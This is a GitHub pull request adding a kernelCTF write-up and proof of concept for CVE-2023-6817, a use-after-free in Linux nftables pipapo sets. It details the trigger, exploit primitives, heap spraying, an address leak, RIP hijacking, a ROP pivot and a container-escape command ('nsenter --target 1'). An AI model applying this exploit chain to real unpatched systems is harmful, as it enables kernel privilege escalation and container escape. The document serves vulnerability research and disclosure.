Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add kernelCTF CVE-2023-6817_lts_cos #90

Merged
merged 9 commits into from
Jul 29, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
280 changes: 280 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,280 @@
# Exploit detail about CVE-2023-6817
If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first.

## Background
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.

It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.

nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.

## Cause anaylysis

In function `nft_pipapo_walk`, it checks if an elem is active by this :

```c
...
if (nft_set_elem_expired(&e->ext))
goto cont;
...
```
but it should check like code in function `nft_rbtree_walk`:
```c
...
if (nft_set_elem_expired(&rbe->ext))
goto cont;
if (!nft_set_elem_active(&rbe->ext, iter->genmask))
goto cont;
...
```
This makes it possible to call `nft_setelem_data_deactivate` twice for a element in pipapo set.

## Triggering the vulnerability

It's easy to trigger it by following this steps:

- Create a pipapo set A
- Insert an element B into the pipapo set A.
- Delete element B. Finally function `nft_setelem_data_deactivate` will be called in `nft_del_setelem`. We will deactivate some members of set element B.
- Delete set A. Finally the function `nft_map_deactivate` will be called. Then the function `nft_setelem_data_deactivate` will be called in `nft_map_deactivate`, and the parameter will be set element B. We will deactivate some members of set element B again.

By the way, we need to send the command of step 3 and step 4 together because we need to avoid set element B being actually released before our step 4.
This code triggering the vulenrability:
```c
char *tmp_set = "pipapo set for primitive";
new_set_pipapo(socket,table, tmp_set, 0x40, NFT_OBJECT_CT_EXPECT);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
memset(key,0,0x40);
memset(key_end,0,0x40);
new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0);

struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2);
msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40);
msg_list[1] = del_set_msg(table, tmp_set);
send_msg_list(socket, msg_list, 2);
```

## Exploit it
CVE-2023-6817 and CVE-2023-4569 are basically similar. They all lack effective checks on set elements, resulting in multiple calls to the `nft_setelem_data_deactivate` function on a set element. So we can use a method similar to CVE-2023-4569 to exploit CVE-2023-6817. If you want to learn how I exploited CVE-2023-4569, please read [here](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md). This article will focus on the differences between the two vulnerability exploits.

Exploiting CVE-2023-6817 becomes different from exploiting CVE-2023-4569 because of this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/include/net/netfilter/nf_tables.h?h=linux-6.1.y&id=f3f0f95a023370561a9b4d2028308f8452f1e7d1):

```c
struct nft_object {
struct list_head list;
struct rhlist_head rhlhead;
struct nft_object_hash_key key;
- u32 genmask:2,
- use:30;
+ u32 genmask:2;
+ u32 use;
u64 handle;
u16 udlen;
u8 *udata;
```
This commit changes the offset of `use` in `nft_object` from 0x30 to 0x34. This means that we cannot continue to use the method of exploit CVE-2023-4569 to control RIP (because memory alignment will prevent the nft_set_elem_expr->size of the setelement used to hijack RIP from falling at the offset 0x34). So I choose to use another target used in function
`nft_setelem_data_deactivate`: `nft_chain`.

In function `nft_setelem_data_deactivate`, it will call `nft_verdict_uninit` finally if there's `NFT_SET_EXT_DATA` in setelement `nft_set_ext` and the type of the set->dtype is `NFT_DATA_VERDICT`:

```c
void nft_data_release(const struct nft_data *data, enum nft_data_types type)
{
if (type < NFT_DATA_VERDICT)
return;
switch (type) {
case NFT_DATA_VERDICT:
return nft_verdict_uninit(data);
default:
WARN_ON(1);
}
}

static void nft_verdict_uninit(const struct nft_data *data)
{
struct nft_chain *chain;

switch (data->verdict.code) {
case NFT_JUMP:
case NFT_GOTO:
chain = data->verdict.chain;
nft_use_dec(&chain->use);
break;
}
}

```
The offset of `use` in `nft_chain` is 0x50. This allowed me to hijack RIP by placing nft_set_elem_expr->size at this location (just like I did when exploiting CVE-2023-4569, just with the offset changed)

### Primitive
I created two exploit primitives.
```c
//make target_obj->use--
void primitive_0(struct nl_sock *socket, char *table, char *target_obj){
char *tmp_set = "pipapo set for primitive";
new_set_pipapo(socket,table, tmp_set, 0x40, NFT_OBJECT_CT_EXPECT);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
memset(key,0,0x40);
memset(key_end,0,0x40);
new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0);

struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2);
msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40);
msg_list[1] = del_set_msg(table, tmp_set);
send_msg_list(socket, msg_list, 2);
}
//make target_chain->use--
void primitive_1(struct nl_sock *socket, char *table, char *target_chain){
char *tmp_set = "pipapo set for primitive";
new_set_pipapo_for_poc_chain(socket, table, tmp_set, 0x40);
char *key = malloc(0x40);
char *key_end = malloc(0x40);
memset(key,0,0x40);
memset(key_end,0,0x40);
//new_setelem(socket, table, tmp_set, NULL, 0, target_obj, key, 0x40, key_end, 0x40, 0);
new_setelem_with_chain(socket, table, tmp_set, NULL, 0, key, 0x40, key_end, 0x40, target_chain);
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*2);
msg_list[0] = del_setelem_msg(table, tmp_set, key, 0x40, key_end, 0x40);
msg_list[1] = del_set_msg(table, tmp_set);
send_msg_list(socket, msg_list, 2);
}
```
`primitive_0` can implement `target_object->use--` and `primitive_1` can implement `target_chain->use--`.

### Leak info

This part of the exploit is the almost same as CVE-2023-4569. If you want to understand more details, read this [article](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md).

The only difference is that when exploiting CVE-2023-4569, we put the len field of `NFT_SET_EXT_USERDATA` at offset 0x30, while in this exploit, we need to put it at offset 0x34. In this [article](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md), I used 'NFTA_SET_ELEM_OBJREF'. In the current exploit, I used 'NFTA_SET_ELEM_DATA' to construct the corresponding setelem:
```c
//step 5
//get heap back
for(i=0;i<0x1000;i++){
//printf("%d\n",i);
*(uint64_t *)pad = i;
hash_key = i;
new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0);
}
```
```c
void new_setelem_with_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){
...//Here I set the length of NFTA_SET_ELEM_DATA to 0x10
nla_put(elem_data, NFTA_DATA_VALUE, 0x10, &pad0);
nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data);
...
}

```


I leak some useful infomation by the following steps.

- 1. Create many objects first.(`object A`,`object B`,...,in exploit.c, it's `"obj_for_leak_0"`,`"obj_for_leak_1"`...).Their size is 0xcc and they use kmalloc-256.
- 2. Create 0xa4 set elements wihch use one of the objects created in step 1. We assume we use `object F`. Create another set element `element X` using `object F`(This set element will be used in step 10). After step2, we will set `object F->use = 0xa5`. `udata->size` must be 0xa0 because the size of the set elem created in step 5 needs to be the same as the size of the nft_object released in step 4.
- 3. Call `primitive_0` 0xa5 times, finally making `object F->use = 0`
- 4. Delete `object F`
- 5. Create many new set elements to get the heap of `object F` back. These new elements are carefully constructed so that the `len` field representing the length of `NFT_SET_EXT_USERDATA` is exactly at the position of `object F->use`. These new set elements will use `kmalloc-256`.
- 6. Delete all the set elements we created in step 2 except `element X`. Now the `setelem->udata_len = 0xfc`(The original value is `0xa1-1=0xa0`)
- 7. Dump all the collection elements created in step 5. One of the elements will leak some useful heap addresses (because we read the next obj->list via heap out-of-bounds read). Now we will get the heap addresses of "object E" and "object G" (the objects created before and after "object F")
- 8. Delete all the set elements created in step 5 to free the heap of `object F` again.
- 9. Spray memory filled with `addressof(object E)+0x80` to get the heap of `object F` back again.
- 10. Dump set element `element X` created in step 2. We can leak `object E ->ops` because we overwrite `(*nft_set_ext_obj(ext))->key` by step 9.
- 11. Delete all the `nft_object` we created in step 1 and spray ROP gadget to get all the heap back. Now we get two pointers by step 7 pointed to our ROP gadget.

```c
static int nf_tables_fill_setelem(struct sk_buff *skb,
const struct nft_set *set,
const struct nft_set_elem *elem)
...
if (nft_set_ext_exists(ext, NFT_SET_EXT_OBJREF) &&
nla_put_string(skb, NFTA_SET_ELEM_OBJREF,
(*nft_set_ext_obj(ext))->key.name) < 0)
goto nla_put_failure;
...
```


### Control RIP
This part of the exploit is basically the same as CVE-2023-4569. If you want to understand more details, read this [article](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-4569_lts/docs/exploit.md).

The only difference is that when exploiting CVE-2023-4569, we put the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` at offset 0x30, while in this exploit, we need to put it at offset 0x50 (because we used primitive_1 in Primitive, nft_chain->use offset is 0x50). Similar to the Leak info, I chose to put the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` at offset 0x50 by increasing `NFTA_SET_ELEM_DATA`:
```c
//step 4 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size)
*(uint64_t *)&pad[0] = target_heap;//expr->ops
*(uint64_t *)&pad[8] = kernel_off + 0xFFFFFFFF8165A0A3;//leave ; ret
for(i=0;i<0x1000;i++){
*(uint64_t *)hash_key_48 = i;
new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, 48, NULL, 0);
}
```
```c
void new_setelem_with_expr_and_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *elemdata, uint32_t elemdata_len, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){
...
if(elemdata > 0){
nla_put(elem_data, NFTA_DATA_VALUE, elemdata_len, elemdata);
nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data);
}
...
```

I control the RIP by the following steps:
- 1. Create a chain for ROP(`chain X`). The size is 0x78 and it uses kmalloc-128.
- 2. Create 0x20 set elements wihch use `chain X` created in step 1. After step2, we will set `chain X->use = 0x20`
- 3. Call `primitive_1` 0x20 times, finally making `chain X->use = 0`
- 4. Delete `chain X`
- 5. Create 0x1000 new set elements. These new elements are carefully constructed so that the `size` field representing the length of `NFT_SET_EXT_EXPRESSIONS` is exactly at the position of `chain X->use`.
conlonial marked this conversation as resolved.
Show resolved Hide resolved
- 6. Delete all the set elements we created in step 2. The `chain->use` will be set to `0xfffffff0` from `0x10`, which means we change the `size` of `NFT_SET_EXT_EXPRESSIONS` of a set element which we created in step 5. We will change the `size` from `0x10` to `0xfffffff0`. Now we get a fake `nft_expr` expr[1]. We can fill the `ops` and the `data` of the fake expr in `NFTA_SET_ELEM_DATA`.
- 7. Dump all the set elements we create in step 5. Finally we will jmp to our ROP gadget.
```c
static int nf_tables_fill_expr_info(struct sk_buff *skb,
const struct nft_expr *expr)
{
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
goto nla_put_failure;

if (expr->ops->dump) {
struct nlattr *data = nla_nest_start_noflag(skb,
NFTA_EXPR_DATA);
if (data == NULL)
goto nla_put_failure;
if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here
goto nla_put_failure;
nla_nest_end(skb, data);
}
...

```
### ROP detail

The assembly code when calling expr->ops->dump is as follows:

```
mov rax, [rbp+0]
mov rsi, rbp
mov rdi, rbx
mov rax, [rax+40h]
call __x86_indirect_thunk_rax
```
So the `rbp` is the pointer of the current `nft_expr`, and it will be the start of `NFTA_SET_ELEM_DATA` when it comes to the fake `nft_expr`:


The first step of ROP start looks like this:
```
expr->ops->dump(skb, expr) --> leave ; ret
```
This will finally makes this happen:

```
rsp = element + 0x68 // mov rsp, rbp
rbp = *(element + 0x68) //pop rbp rbp=*(NFTA_SET_ELEM_DATA)
rsp = element + 0x70
rip = *(element + 0x70) //ret rip=*(NFTA_SET_ELEM_DATA + 8)
rsp = element + 0x78
```
The second step of ROP is also:
```
leave; ret
```
After this, the `rsp` will be the value of the `NFTA_SET_ELEM_DATA[0]`. It will point to the heap, which we filled it with our ROP gadget in `Leak info` step 11.
23 changes: 23 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# Vulneribility
In function nft_pipapo_walk of file /net/netfilter/nft_set_pipapo.c, it doesn't check if an element is active like other similar functions. This may lead to double-deactivations of elements which then results in memory corruption.

## Requirements to trigger the vulnerability
- Capabilities: `CAP_NET_ADMIN` capability is required.
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit 3c4287f62044a90e73a561aa05fc46e62da173da](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nft_set_pipapo.c?id=3c4287f62044a90e73a561aa05fc46e62da173da)

## Commit which fixed the vulnerability
- [commit 317eb9685095678f2c9f5a8189de698c5354316a](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=317eb9685095678f2c9f5a8189de698c5354316a)

## Affected kernel versions
- 5.6-rc1 and later.

## Affected component, subsystem
- net/netfilter (nf_tables)

## Cause
- UAF

Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
exploit:
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
prerequisites:
sudo apt-get install libnl-nf-3-dev
run:
./exploit

clean:
rm exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf COS 105-17412.226.28
Run command "nsenter --target 1 -m -p" after run the poc.
Loading
Loading